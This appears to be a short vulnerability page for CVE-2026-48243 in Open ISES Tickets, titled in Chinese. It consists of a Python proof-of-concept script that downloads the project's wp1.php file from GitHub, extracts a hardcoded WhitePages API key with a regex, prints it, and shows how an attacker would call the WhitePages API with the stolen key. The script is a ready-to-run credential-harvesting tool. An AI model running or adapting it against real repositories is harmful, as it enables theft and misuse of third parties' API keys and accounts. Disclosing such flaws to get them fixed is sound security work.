CVE-2026-48243 Open ISES Tickets硬编码API密钥泄露

#!/usr/bin/env python3 """ PoC for CVE-2026-48243: Hardcoded API Key Extraction Demonstrates how an attacker can extract the key from the source code. """ import re import requests def extract_api_key(url): try: # Fetch the vulnerable file from the repository response = requests.get(url) if response.status_code == 200: content = response.text # Pattern to match the hardcoded key (heuristic) # Adjust regex based on actual key format found in wp1.php pattern = r"api_key\s*=\s*['\"]([a-zA-Z0-9_]{20,})['\"]" match = re.search(pattern, content) if match: return match.group(1) except Exception as e: print(f"Error fetching file: {e}") return None # Example usage target_file = "https://raw.githubusercontent.com/openises/tickets/master/wp1.php" key = extract_api_key(target_file) if key: print(f"[+] Found Hardcoded WhitePages API Key: {key}") print(f"[+] Attacker can use this key to query: https://api.whitepages.com/...?api_key={key}") else: print("[-] Key not found or file inaccessible.")